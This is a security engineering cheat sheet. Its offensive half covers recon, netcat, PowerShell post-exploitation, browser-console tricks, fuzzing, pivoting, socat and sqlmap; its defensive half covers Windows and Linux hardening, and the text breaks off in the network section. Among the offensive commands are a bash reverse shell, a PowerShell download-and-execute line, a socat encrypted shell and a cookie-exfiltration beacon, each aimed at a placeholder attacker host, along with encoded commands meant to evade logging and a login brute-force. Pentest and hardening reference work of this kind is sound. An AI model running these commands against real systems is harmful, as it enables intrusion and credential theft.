Security Cheat Sheet
Security engineering reference - not purely blue-team. Split into Offensive (recon, enumeration, exploitation tooling) and Defensive (hardening, monitoring, incident response).
Scope: Useful for pentesters, platform engineers doing defensive work, and CTF. Assumes Linux/Kali tooling for offensive sections, Linux/Windows for defensive.
Versions: nmap 7.x+, ffuf 2.x+, sqlmap 1.8+, socat 1.7.x+, PowerShell 7+ for defensive sections, Windows Server 2019/2022 for hardening content.
Offensive Security
nmap
Host discovery - find live hosts on a subnet
nmap -sn 192.168.1.0/24Quick service scan - top ports, versions, default scripts
nmap -sV -sC -T4 -oA scan_output <target>Full TCP port scan
nmap -p- -T4 --min-rate 5000 <target>OS detection
nmap -O --osscan-guess <target>UDP - top 1000 ports (slow, run with patience)
nmap -sU --top-ports 1000 -T4 <target>Stealth SYN scan (requires root)
sudo nmap -sS -T4 <target>Run vulnerability scripts
nmap --script vuln -p 80,443,22 <target>Banner grab a specific port
nmap -sV --version-intensity 9 -p <port> <target>Save in all formats (normal, grepable, XML)
nmap -sV -sC -p- -oA full_scan <target>Scan from a list of hosts
nmap -iL hosts.txt -sV -sCNetcat (nc)
Start a listener
nc -lvnp 4444Connect to a remote host and port
nc <target> 4444Port scan (TCP, no I/O, verbose)
nc -zv <target> 1-1024Banner grab over TCP
echo '' | nc -v -n -w1 <target> 80Receive a file
nc -lvnp 4444 > received_fileSend a file
nc <target> 4444 < file_to_sendUDP listener
nc -u -lvnp 4444Reverse shell - Bash (run on victim, catch on attacker)
bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1Reverse shell - catch on attacker
nc -lvnp 4444Quick web request
printf 'GET / HTTP/1.0\r\nHost: <target>\r\n\r\n' | nc <target> 80curl - HTTP Probing
Fetch response headers only
curl -sI https://<target>Full verbose request (headers in and out)
curl -v https://<target>Follow redirects
curl -L https://<target>POST with form data
curl -X POST -d 'username=admin&password=admin' https://<target>/loginPOST JSON body
curl -X POST -H 'Content-Type: application/json' \
-d '{"user":"admin","pass":"admin"}' https://<target>/api/loginCustom headers (auth token, custom User-Agent)
curl -H 'Authorization: Bearer <token>' \
-H 'User-Agent: Mozilla/5.0' https://<target>/api/dataSkip TLS certificate verification
curl -k https://<target>Download file silently
curl -so output.html https://<target>Proxy through Burp Suite
curl -x http://127.0.0.1:8080 -k https://<target>Check CORS - preflight
curl -I -X OPTIONS -H 'Origin: https://evil.com' \
-H 'Access-Control-Request-Method: GET' https://<target>/apiopenssl - Certificate & Crypto
Inspect a server’s TLS certificate
echo | openssl s_client -connect <target>:443 2>/dev/null \
| openssl x509 -noout -textShow cert expiry only
echo | openssl s_client -connect <target>:443 2>/dev/null \
| openssl x509 -noout -datesShow Subject Alternative Names
echo | openssl s_client -connect <target>:443 2>/dev/null \
| openssl x509 -noout -ext subjectAltNameGenerate a self-signed cert (e.g. for a listener)
openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout server.key -out server.crt \
-subj "/CN=localhost"Hash a file
openssl dgst -sha256 <file>Base64 encode / decode
echo -n 'text' | openssl base64
echo 'dGV4dA==' | openssl base64 -dGenerate random hex (useful for tokens)
openssl rand -hex 32PowerShell - Recon & Post-Exploitation
Bypass execution policy for a session
powershell -ExecutionPolicy Bypass -NoProfileDownload and run a remote script
IEX (New-Object Net.WebClient).DownloadString('http://<attacker>/script.ps1')Download file to disk
(New-Object Net.WebClient).DownloadFile('http://<attacker>/file', 'C:\Temp\file')Encode a command (bypass logging/detection)
$cmd = 'whoami'
$enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell -EncodedCommand $encList established TCP connections
Get-NetTCPConnection | Where-Object { $_.State -eq 'Established' } |
Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePortTCP port scan (no tools needed)
1..1024 | ForEach-Object {
$tcp = New-Object Net.Sockets.TcpClient
try { $tcp.Connect('<target>', $_); "Port $_ OPEN" } catch {} finally { $tcp.Dispose() }
}List local administrators
Get-LocalGroupMember -Group 'Administrators'List running processes sorted by CPU
Get-Process | Sort-Object CPU -Descending | Select-Object Name, Id, CPU -First 20Get scheduled tasks (look for odd ones)
Get-ScheduledTask | Where-Object { $_.State -ne 'Disabled' } |
Select-Object TaskName, TaskPath, StateCurrent user privileges
whoami /privDump environment variables
[System.Environment]::GetEnvironmentVariables().GetEnumerator() | Sort-Object NameSearch for passwords in files (recursive)
Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue -Include *.txt,*.xml,*.config |
Select-String -Pattern 'password|passwd|pwd' -CaseSensitive:$falseCheck if AMSI is patched (returns True if bypassed)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') |
ForEach-Object { $_.GetField('amsiInitFailed','NonPublic,Static').GetValue($null) }Get domain info (domain-joined machines)
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()List SMB shares on a remote host
Get-SmbShare -CimSession <target>Check Windows Defender status
Get-MpComputerStatus | Select-Object AMServiceEnabled, RealTimeProtectionEnabled, AntivirusEnabledJavaScript Console - Browser Recon
Read all cookies (document-accessible)
document.cookieDump localStorage
JSON.stringify(localStorage, null, 2)Dump sessionStorage
JSON.stringify(sessionStorage, null, 2)Decode a JWT from storage (header + payload)
const token = localStorage.getItem('token') || sessionStorage.getItem('token');
if (token) {
const [h, p] = token.split('.').slice(0,2).map(b => {
const s = b.replace(/-/g,'+').replace(/_/g,'/');
return JSON.parse(atob(s + '=='.slice(0, (4 - s.length % 4) % 4)));
});
console.log('Header:', h, '\nPayload:', p);
}List all external scripts loaded on the page
Array.from(document.scripts).map(s => s.src).filter(Boolean)Extract all links
Array.from(document.links).map(l => l.href)List all forms and their inputs
Array.from(document.forms).map(f => ({
action: f.action,
method: f.method,
inputs: Array.from(f.elements).map(e => ({ name: e.name, type: e.type, value: e.value }))
}))Get all hidden input values
Array.from(document.querySelectorAll('input[type=hidden]'))
.map(i => ({ name: i.name, value: i.value }))Check response headers (CSP, CORS, etc.)
fetch(location.href).then(r => {
['content-security-policy','x-frame-options','strict-transport-security',
'x-content-type-options','access-control-allow-origin'].forEach(h =>
console.log(h + ':', r.headers.get(h))
);
});Exfiltrate cookies via image beacon (PoC only)
new Image().src = 'https://<attacker>/?c=' + encodeURIComponent(document.cookie);Enumerate all API calls made by the page (intercept fetch)
const origFetch = window.fetch;
window.fetch = function(...args) {
console.log('[fetch]', args[0], args[1]);
return origFetch.apply(this, args);
};Intercept XHR calls
const origOpen = XMLHttpRequest.prototype.open;
XMLHttpRequest.prototype.open = function(method, url) {
console.log('[XHR]', method, url);
return origOpen.apply(this, arguments);
};DOM XSS quick probe (harmless alert)
document.getElementById('search').value = '<img src=x onerror=alert(document.domain)>';
document.querySelector('form').submit();List all event listeners on the document (Chrome DevTools)
getEventListeners(document)Miscellaneous One-Liners
Python quick HTTP server (serve current directory)
python3 -m http.server 8080Python HTTPS server with a self-signed cert
openssl req -x509 -nodes -days 1 -newkey rsa:2048 -keyout /tmp/k.pem -out /tmp/c.pem -subj '/CN=x' 2>/dev/null
python3 -c "
import ssl, http.server
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain('/tmp/c.pem', '/tmp/k.pem')
srv = http.server.HTTPServer(('0.0.0.0', 443), http.server.SimpleHTTPRequestHandler)
srv.socket = ctx.wrap_socket(srv.socket, server_side=True)
srv.serve_forever()
"Find SUID binaries (Linux privilege escalation check)
find / -perm -4000 -type f 2>/dev/nullFind world-writable directories
find / -type d -perm -o+w 2>/dev/null | grep -v '/proc\|/sys'Check cron jobs for all users
for user in $(cut -d: -f1 /etc/passwd); do
crontab -u "$user" -l 2>/dev/null | grep -v '^#' | sed "s/^/$user: /"
doneIdentify listening services
ss -tlnpQuick hash cracking reference (hashcat modes)
hashcat -m 0 hash.txt wordlist.txt # MD5
hashcat -m 100 hash.txt wordlist.txt # SHA1
hashcat -m 1000 hash.txt wordlist.txt # NTLM
hashcat -m 1800 hash.txt wordlist.txt # sha512crypt ($6$)
hashcat -m 3200 hash.txt wordlist.txt # bcrypt
hashcat -m 13100 hash.txt wordlist.txt # Kerberoast (TGS-REP)Identify a hash type quickly
hashid '<hash>'Git - Secret Hunting
Search the entire commit history for keywords
git log -p --all --full-history | grep -iE 'password|secret|api.?key|token|private.?key|credentials'Find commits that touched a specific filename (including deleted)
git log --all --full-history -- '**/.env' '**/*.pem' '**/*.key'Show the content of a deleted file from history
git show <commit_hash>:.envList all stashes (often forgotten secrets)
git stash list
git stash show -p stash@{0}Dump every blob ever committed (slow but thorough)
git log --all --oneline | awk '{print $1}' | \
xargs -I{} git diff-tree --no-commit-id -r {} | \
awk '{print $4}' | sort -u | \
xargs -I{} git cat-file -p {}Scan with Gitleaks (install: brew install gitleaks / apt install gitleaks)
gitleaks detect --source . --verbose --report-path gitleaks-report.jsonScan a remote repo
# Clone first - gitleaks --source expects a local path, not a URL
git clone --depth=50 https://github.com/org/repo /tmp/repo
gitleaks detect --source /tmp/repo --verbose --report-path gitleaks-report.jsonScan with Trufflehog (finds verified live secrets)
trufflehog git file://. --only-verified
trufflehog github --repo https://github.com/org/repo --only-verifiedCheck git config for credentials stored in plain text
cat ~/.gitconfig
git config --list --show-origin | grep -i 'url\|credential\|token'See also: Git - .gitignore Reference for preventing secrets reaching the repo in the first place, and Git - History & Inspection for
git log -Sandgit bisectto trace when a secret was introduced.
grep / ripgrep - Secret & Pattern Hunting
Search recursively for common secret patterns
grep -rn \
--include="*.js" --include="*.ts" --include="*.py" --include="*.go" \
--include="*.rb" --include="*.php" --include="*.env" --include="*.yaml" \
--include="*.yml" --include="*.json" --include="*.toml" --include="*.tf" \
--include="*.sh" \
-iE 'password\s*=|api.?key\s*=|secret\s*=|token\s*=' .Hunt for private keys
grep -rn "BEGIN.*PRIVATE KEY" .Find AWS access key IDs
grep -rn -E 'AKIA[0-9A-Z]{16}' .Find JWTs (ey… header pattern)
grep -rn -E 'eyJ[a-zA-Z0-9_-]{10,}\.eyJ[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]+' .Find credentials embedded in URLs
grep -rn -E 'https?://[^:/@\s]+:[^@/\s]+@' .Find IP addresses in files
grep -rn -E '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' .Find base64-encoded strings (likely encoded secrets)
grep -rn -E '[A-Za-z0-9+/]{40,}={0,2}' . | grep -v '.min.js'Same searches with ripgrep (faster on large repos)
rg -i 'password\s*=' --type-add 'config:*.{env,yaml,yml,toml,ini}' -t config .
rg 'AKIA[0-9A-Z]{16}' .
rg 'BEGIN.*PRIVATE KEY' .Useful regex patterns for piping / scripting
# IPv4 address
\b(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\b
# AWS Access Key
AKIA[0-9A-Z]{16}
# JWT
eyJ[a-zA-Z0-9_-]+\.eyJ[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+
# PEM private key header
-----BEGIN (RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----
# Basic auth credential in URL
https?://[^:/@\s]+:[^@/\s]+@[^\s]+
# Generic high-entropy string (likely a secret, ≥32 chars)
[A-Za-z0-9+/=_-]{32,}ffuf - Web Fuzzing
Directory/path brute-force
ffuf -u https://<target>/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-mc 200,301,302,403 -t 50Subdomain enumeration via Host header
ffuf -u https://<target> \
-H 'Host: FUZZ.<target>' \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-mc 200,301,302 -fs <size_of_404_response>POST parameter fuzzing (login brute-force)
ffuf -u https://<target>/login \
-X POST \
-d 'username=admin&password=FUZZ' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-w /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt \
-mc 302 -t 20API endpoint fuzzing
ffuf -u https://<target>/api/v1/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/api/objects.txt \
-H 'Authorization: Bearer <token>' \
-mc 200,201,400,401,403Extension fuzzing (find backup files etc.)
ffuf -u https://<target>/indexFUZZ \
-w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt \
-mc 200Filter by response size (hide noise)
ffuf -u https://<target>/FUZZ -w wordlist.txt -fs 1234SSH - Tunnelling & Pivoting
Local port forward - reach an internal service via a bastion
# Access internal:3306 as localhost:3306 via bastion
ssh -L 3306:internal-db:3306 user@bastion -NRemote port forward - expose your local listener through a server
# Anyone connecting to attacker:4444 lands on your local :4444
ssh -R 4444:localhost:4444 user@<attacker> -NDynamic SOCKS5 proxy - proxy all traffic through a host
ssh -D 1080 user@bastion -N
# Then: proxychains nmap / curl --socks5 127.0.0.1:1080Jump host - reach a host that’s only accessible from the bastion
ssh -J user@bastion user@internal-hostMulti-hop jump
ssh -J user@jump1,user@jump2 user@final-hostSSH config shortcut for a jump chain (~/.ssh/config)
Host internal
HostName 10.10.10.50
User ubuntu
ProxyJump bastion
Host bastion
HostName <public_ip>
User ubuntu
IdentityFile ~/.ssh/id_rsaCopy SSH key to remote host
ssh-copy-id -i ~/.ssh/id_rsa.pub user@<target>Run a command remotely without a shell
ssh user@<target> 'cat /etc/passwd'socat - Encrypted Shells & Relays
Simple listener (like nc -lvnp)
socat TCP-LISTEN:4444,reuseaddr,fork -TLS-encrypted reverse shell - attacker listener 🔐 Requires explicit authorisation
# Generate cert first
openssl req -x509 -nodes -days 1 -newkey rsa:2048 \
-keyout /tmp/shell.key -out /tmp/shell.crt -subj '/CN=x'
socat OPENSSL-LISTEN:443,cert=/tmp/shell.crt,key=/tmp/shell.key,verify=0,fork \
EXEC:/bin/bash,pty,stderr,setsid,sigint,saneTLS-encrypted reverse shell - victim side
socat OPENSSL:<attacker>:443,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sanePort relay - forward all traffic arriving on :8080 to an internal host
socat TCP-LISTEN:8080,fork TCP:<internal>:80Upload a file over TCP
# Receiver
socat TCP-LISTEN:9000,fork > received_file
# Sender
socat TCP:<target>:9000 < file_to_sendSQLMap - Injection Testing
Basic GET parameter test
sqlmap -u "https://<target>/page?id=1" --dbs --batchPOST body injection
sqlmap -u "https://<target>/login" \
--data "username=test&password=test" \
--dbs --batchCookie-based injection
sqlmap -u "https://<target>/dashboard" \
--cookie "session=<value>" \
--level 3 --risk 2 --dbs --batchDump a specific table
sqlmap -u "https://<target>/page?id=1" \
-D <database> -T users --dump --batchTest via Burp Suite saved request file
sqlmap -r request.txt --level 5 --risk 3 --dbs --batchAttempt OS shell (if DB user has FILE privilege)
sqlmap -u "https://<target>/page?id=1" --os-shell --batchDefensive Security
Windows Hardening
Disable SMBv1 ✅ (common ransomware vector - should be off on all modern Windows)
Set-SmbServerConfiguration -EnableSMB1Protocol $false -Force
Set-SmbClientConfiguration -EnableSMB1Protocol $false -Force
# Verify
Get-SmbServerConfiguration | Select-Object EnableSMB1ProtocolDisable SMBv1 via Windows Features
Disable-WindowsOptionalFeature -Online -FeatureName smb1protocol -NoRestartEnable and configure Windows Firewall on all profiles
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True
# Block inbound by default, allow outbound
Set-NetFirewallProfile -Profile Domain,Public,Private `
-DefaultInboundAction Block -DefaultOutboundAction AllowBlock inbound RDP from the internet (allow only from trusted range)
New-NetFirewallRule -DisplayName 'Block RDP Public' `
-Direction Inbound -Protocol TCP -LocalPort 3389 `
-RemoteAddress Internet -Action Block
New-NetFirewallRule -DisplayName 'Allow RDP Internal' `
-Direction Inbound -Protocol TCP -LocalPort 3389 `
-RemoteAddress 10.0.0.0/8,172.16.0.0/12,192.168.0.0/16 -Action AllowEnable Windows Defender real-time protection
Set-MpPreference -DisableRealtimeMonitoring $false
Set-MpPreference -DisableBehaviorMonitoring $false
Set-MpPreference -DisableBlockAtFirstSeen $false
Set-MpPreference -DisableIOAVProtection $false
Set-MpPreference -DisableScriptScanning $false
Set-MpPreference -EnableNetworkProtection EnabledForce Defender signature update
Update-MpSignatureEnable attack surface reduction (ASR) rules
# Block Office apps from creating child processes
Add-MpPreference -AttackSurfaceReductionRules_Ids d4f940ab-401b-4efc-aadc-ad5f3c50688a `
-AttackSurfaceReductionRules_Actions Enabled
# Block credential stealing from LSASS
Add-MpPreference -AttackSurfaceReductionRules_Ids 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b0 `
-AttackSurfaceReductionRules_Actions Enabled
# Block untrusted/unsigned processes from USB
Add-MpPreference -AttackSurfaceReductionRules_Ids b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4 `
-AttackSurfaceReductionRules_Actions EnabledEnable PowerShell script block logging
$regPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
New-Item -Path $regPath -Force | Out-Null
Set-ItemProperty -Path $regPath -Name 'EnableScriptBlockLogging' -Value 1Enable PowerShell module logging
$regPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging'
New-Item -Path $regPath -Force | Out-Null
Set-ItemProperty -Path $regPath -Name 'EnableModuleLogging' -Value 1
New-Item -Path "$regPath\ModuleNames" -Force | Out-Null
Set-ItemProperty -Path "$regPath\ModuleNames" -Name '*' -Value '*'Enable PowerShell transcription logging
$regPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription'
New-Item -Path $regPath -Force | Out-Null
Set-ItemProperty -Path $regPath -Name 'EnableTranscripting' -Value 1
Set-ItemProperty -Path $regPath -Name 'OutputDirectory' -Value 'C:\PSTranscripts'
Set-ItemProperty -Path $regPath -Name 'EnableInvocationHeader' -Value 1Enable audit policies (logon, process, privilege use)
auditpol /set /subcategory:"Logon" /success:enable /failure:enable
auditpol /set /subcategory:"Logoff" /success:enable
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
auditpol /set /subcategory:"Privilege Use" /success:enable /failure:enable
auditpol /set /subcategory:"Security Group Management" /success:enable /failure:enable
auditpol /set /subcategory:"User Account Management" /success:enable /failure:enable
# Review current policy
auditpol /get /category:*Enable Credential Guard ✅ Current preferred LSASS protection (as of 2026, requires UEFI + Secure Boot)
# Enable via registry (reboot required)
$regPath = 'HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard'
Set-ItemProperty -Path $regPath -Name 'EnableVirtualizationBasedSecurity' -Value 1
Set-ItemProperty -Path $regPath -Name 'RequirePlatformSecurityFeatures' -Value 3
$cgPath = 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa'
Set-ItemProperty -Path $cgPath -Name 'LsaCfgFlags' -Value 1Disable LLMNR and NetBIOS (common credential capture vectors)
# Disable LLMNR
$llmnrPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient'
New-Item -Path $llmnrPath -Force | Out-Null
Set-ItemProperty -Path $llmnrPath -Name 'EnableMulticast' -Value 0
# Disable NetBIOS over TCP/IP on all adapters
$adapters = Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object { $_.TcpipNetbiosOptions -ne $null }
$adapters | ForEach-Object { $_.SetTcpipNetbios(2) }Disable WDigest authentication 🔐 Must-do - prevents cleartext credentials in LSASS memory
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' `
-Name 'UseLogonCredential' -Value 0Enable BitLocker on the OS drive
Enable-BitLocker -MountPoint 'C:' -EncryptionMethod XtsAes256 `
-UsedSpaceOnly -TpmProtector
Add-BitLockerKeyProtector -MountPoint 'C:' -RecoveryPasswordProtector
# Save recovery key
(Get-BitLockerVolume -MountPoint 'C:').KeyProtector |
Where-Object { $_.KeyProtectorType -eq 'RecoveryPassword' } |
Select-Object RecoveryPassword | Out-File C:\BitLockerRecovery.txtEnforce account lockout policy
net accounts /lockoutthreshold:5 /lockoutduration:30 /lockoutwindow:30
net accounts /minpwlen:14 /maxpwage:90 /uniquepw:10List and disable unnecessary local services
# View all running services
Get-Service | Where-Object { $_.Status -eq 'Running' } | Select-Object Name, DisplayName
# Disable a service (example: Print Spooler on non-print servers)
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType DisabledRemove unused local user accounts
# List all local accounts
Get-LocalUser | Select-Object Name, Enabled, LastLogon
# Disable an account
Disable-LocalUser -Name 'OldAccount'
# Remove an account
Remove-LocalUser -Name 'OldAccount'Check for missing Windows updates
Install-Module PSWindowsUpdate -Force -Scope CurrentUser
Get-WindowsUpdate
# Install all missing updates
Install-WindowsUpdate -AcceptAll -AutoRebootShow recently installed updates
Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 20Enable UAC at the highest level
Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' `
-Name 'ConsentPromptBehaviorAdmin' -Value 2 # Prompt for credentials
Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' `
-Name 'EnableLUA' -Value 1
Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' `
-Name 'PromptOnSecureDesktop' -Value 1Baseline AppLocker policy (allow signed, block unsigned in user dirs)
# Export current policy
Get-AppLockerPolicy -Effective | Set-AppLockerPolicy -XMLPolicy C:\applocker_backup.xml
# Create default rules (run as admin)
Get-AppLockerPolicy -Local | Test-AppLockerPolicy -Path C:\Windows\System32\cmd.exe -User EveryoneSee also: Windows for firewall rules and environment hardening. PowerShell for advanced defensive automation and log collection.
Linux Hardening
SSH daemon hardening 🔐 (/etc/ssh/sshd_config)
# Apply these settings then reload: systemctl reload sshd
cat >> /etc/ssh/sshd_config << 'EOF'
PermitRootLogin no
PasswordAuthentication no
ChallengeResponseAuthentication no
UsePAM yes
X11Forwarding no
AllowAgentForwarding no
AllowTcpForwarding no
PrintMotd no
MaxAuthTries 3
LoginGraceTime 30
ClientAliveInterval 300
ClientAliveCountMax 2
PermitEmptyPasswords no
Protocol 2
EOF
systemctl reload sshdRestrict SSH to specific users/groups
echo 'AllowGroups sshusers' >> /etc/ssh/sshd_config
groupadd sshusers
usermod -aG sshusers <username>
systemctl reload sshdConfigure UFW (Uncomplicated Firewall)
apt install ufw -y
ufw default deny incoming
ufw default allow outgoing
ufw allow 22/tcp # SSH - tighten to a specific source if possible
ufw allow 443/tcp # HTTPS
ufw enable
ufw status verboseConfigure nftables (modern iptables replacement)
# Basic stateful ruleset
nft add table inet filter
nft add chain inet filter input '{ type filter hook input priority 0; policy drop; }'
nft add chain inet filter forward '{ type filter hook forward priority 0; policy drop; }'
nft add chain inet filter output '{ type filter hook output priority 0; policy accept; }'
nft add rule inet filter input ct state established,related accept
nft add rule inet filter input iif lo accept
nft add rule inet filter input tcp dport 22 accept
nft add rule inet filter input tcp dport 443 accept
# Save and persist
nft list ruleset > /etc/nftables.conf
systemctl enable nftablesKernel hardening via sysctl
cat >> /etc/sysctl.d/99-hardening.conf << 'EOF'
# Disable IP forwarding (enable only on routers)
net.ipv4.ip_forward = 0
net.ipv6.conf.all.forwarding = 0
# Disable ICMP redirects
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv6.conf.all.accept_redirects = 0
net.ipv4.conf.all.send_redirects = 0
# Enable reverse path filtering (anti-spoofing)
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1
# Ignore ICMP broadcast requests
net.ipv4.icmp_echo_ignore_broadcasts = 1
# Disable source packet routing
net.ipv4.conf.all.accept_source_route = 0
net.ipv6.conf.all.accept_source_route = 0
# Enable SYN flood protection
net.ipv4.tcp_syncookies = 1
# Disable IPv6 if not needed
net.ipv6.conf.all.disable_ipv6 = 1
net.ipv6.conf.default.disable_ipv6 = 1
# Restrict dmesg to root
kernel.dmesg_restrict = 1
# Hide kernel pointers
kernel.kptr_restrict = 2
# Restrict ptrace to root
kernel.yama.ptrace_scope = 1
# Disable core dumps for SUID programs
fs.suid_dumpable = 0
# Randomise memory layout (ASLR)
kernel.randomize_va_space = 2
EOF
sysctl --systemSet secure file permissions on critical files
chmod 600 /etc/ssh/sshd_config
chmod 644 /etc/passwd
chmod 640 /etc/shadow
chmod 640 /etc/gshadow
chmod 644 /etc/group
chmod 700 /root
chmod 600 /etc/crontab
chmod 700 /etc/cron.d /etc/cron.daily /etc/cron.weekly /etc/cron.monthlyDisable unused filesystems and protocols
cat >> /etc/modprobe.d/disable-unused.conf << 'EOF'
install cramfs /bin/true
install freevxfs /bin/true
install jffs2 /bin/true
install hfs /bin/true
install hfsplus /bin/true
install squashfs /bin/true
install udf /bin/true
install dccp /bin/true
install sctp /bin/true
install rds /bin/true
install tipc /bin/true
EOFEnable and configure auditd
apt install auditd audispd-plugins -y
# Key audit rules
cat >> /etc/audit/rules.d/hardening.rules << 'EOF'
# Watch passwd/shadow changes
-w /etc/passwd -p wa -k identity
-w /etc/shadow -p wa -k identity
-w /etc/group -p wa -k identity
-w /etc/sudoers -p wa -k sudoers
# Watch SSH config
-w /etc/ssh/sshd_config -p wa -k sshd
# Log all privileged command execution
-a always,exit -F arch=b64 -S execve -F euid=0 -k root_commands
-a always,exit -F arch=b32 -S execve -F euid=0 -k root_commands
# Log failed access attempts
-a always,exit -F arch=b64 -S open -F exit=-EACCES -k access_denied
-a always,exit -F arch=b64 -S open -F exit=-EPERM -k access_denied
# Watch /tmp and /dev/shm for executed files
-w /tmp -p x -k tmp_exec
-w /dev/shm -p x -k shm_exec
# Log sudo usage
-w /usr/bin/sudo -p x -k sudo_usage
-w /etc/sudoers.d -p wa -k sudoers
EOF
augenrules --load
systemctl enable auditd
systemctl start auditdQuery auditd logs
# Failed logins
ausearch -m USER_FAILED_LOGIN -ts today
# All privileged commands
ausearch -k root_commands -ts today | aureport -f -i
# Changes to sudoers
ausearch -k sudoers -ts todayInstall and configure fail2ban ✅ Current preferred brute-force mitigation (as of 2026)
apt install fail2ban -y
cat > /etc/fail2ban/jail.local << 'EOF'
[DEFAULT]
bantime = 1h
findtime = 10m
maxretry = 5
banaction = nftables-multiport
[sshd]
enabled = true
port = ssh
logpath = %(sshd_log)s
backend = %(sshd_backend)s
maxretry = 3
bantime = 24h
EOF
systemctl enable fail2ban
systemctl start fail2ban
# Check ban status
fail2ban-client status sshdConfigure AppArmor (Debian/Ubuntu)
apt install apparmor apparmor-utils apparmor-profiles -y
systemctl enable apparmor
systemctl start apparmor
# Check status
aa-status
# Put a profile into enforce mode
aa-enforce /etc/apparmor.d/usr.sbin.nginx
# Audit mode (log violations without blocking)
aa-audit /etc/apparmor.d/usr.bin.python3Configure SELinux (RHEL/CentOS/Fedora)
# Check current status
sestatus
getenforce
# Enable enforcing mode
setenforce 1
sed -i 's/^SELINUX=.*/SELINUX=enforcing/' /etc/selinux/config
# List AVC denials
ausearch -m avc -ts recent
# Generate a policy module from denials
audit2allow -a -M mypolicy
semodule -i mypolicy.pp
# Restore default context on a file
restorecon -Rv /var/www/htmlLock down sudo - require password and disable NOPASSWD
# Edit sudoers safely
visudo
# Ensure no NOPASSWD lines remain
grep -r 'NOPASSWD' /etc/sudoers /etc/sudoers.d/
# Require re-authentication every session
echo 'Defaults timestamp_timeout=0' >> /etc/sudoers.d/00-security
# Log all sudo commands
echo 'Defaults logfile=/var/log/sudo.log' >> /etc/sudoers.d/00-securityEnable automatic security updates (Debian/Ubuntu)
apt install unattended-upgrades -y
dpkg-reconfigure --priority=low unattended-upgrades
# Verify configuration
cat /etc/apt/apt.conf.d/20auto-upgrades
# Should contain:
# APT::Periodic::Update-Package-Lists "1";
# APT::Periodic::Unattended-Upgrade "1";Enable automatic security updates (RHEL/CentOS)
dnf install dnf-automatic -y
sed -i 's/^apply_updates = .*/apply_updates = yes/' /etc/dnf/automatic.conf
sed -i 's/^upgrade_type = .*/upgrade_type = security/' /etc/dnf/automatic.conf
systemctl enable --now dnf-automatic.timerCheck for world-writable files and fix them
# Find world-writable files (excluding /proc and /sys)
find / -xdev -type f -perm -0002 2>/dev/null | grep -v '/proc\|/sys'
# Find SUID/SGID binaries and verify they are expected
find / -xdev \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null
# Remove SUID from a binary that doesn't need it
chmod u-s /path/to/binaryDisable core dumps system-wide
echo '* hard core 0' >> /etc/security/limits.conf
echo 'fs.suid_dumpable = 0' >> /etc/sysctl.d/99-hardening.conf
sysctl -p /etc/sysctl.d/99-hardening.confCheck for accounts with empty passwords
awk -F: '($2 == "" ) { print $1 }' /etc/shadow
# Lock any found
passwd -l <username>Verify no accounts have UID 0 except root
awk -F: '($3 == 0) { print $1 }' /etc/passwdCheck listening services and their owning processes
ss -tlnp # TCP
ss -ulnp # UDP
# Detailed with process info
ss -tlnp | awk 'NR>1 {print $4, $6}' | sortSee also: Linux for distribution-specific setup (Ubuntu, Fedora, WSL2). Bash for scripting hardening steps reproducibly.
See also: KQL - Threat Hunting for cloud-side investigation using Defender for Endpoint and Sentinel once a suspicious host is identified.
Network Hardening
Inspect TLS cipher suites offered by a server
nmap --script ssl-enum-ciphers -p 443 <target>Check TLS version support (reject TLS 1.0 / 1.1)
openssl s_client -connect <target>:443 -tls1 2>&1 | grep -E 'Cipher|alert'
openssl s_client -connect <target>:443 -tls1_1 2>&1 | grep -E 'Cipher|alert'
openssl s_client -connect <target>:443 -tls1_2 2>&1 | grep -E 'Cipher|alert'
openssl s_client -connect <target>:443 -tls1_3 2>&1 | grep -E 'Cipher|alert'Nginx - secure TLS configuration
ssl_protocols TLSv1.2 TLSv1.3;
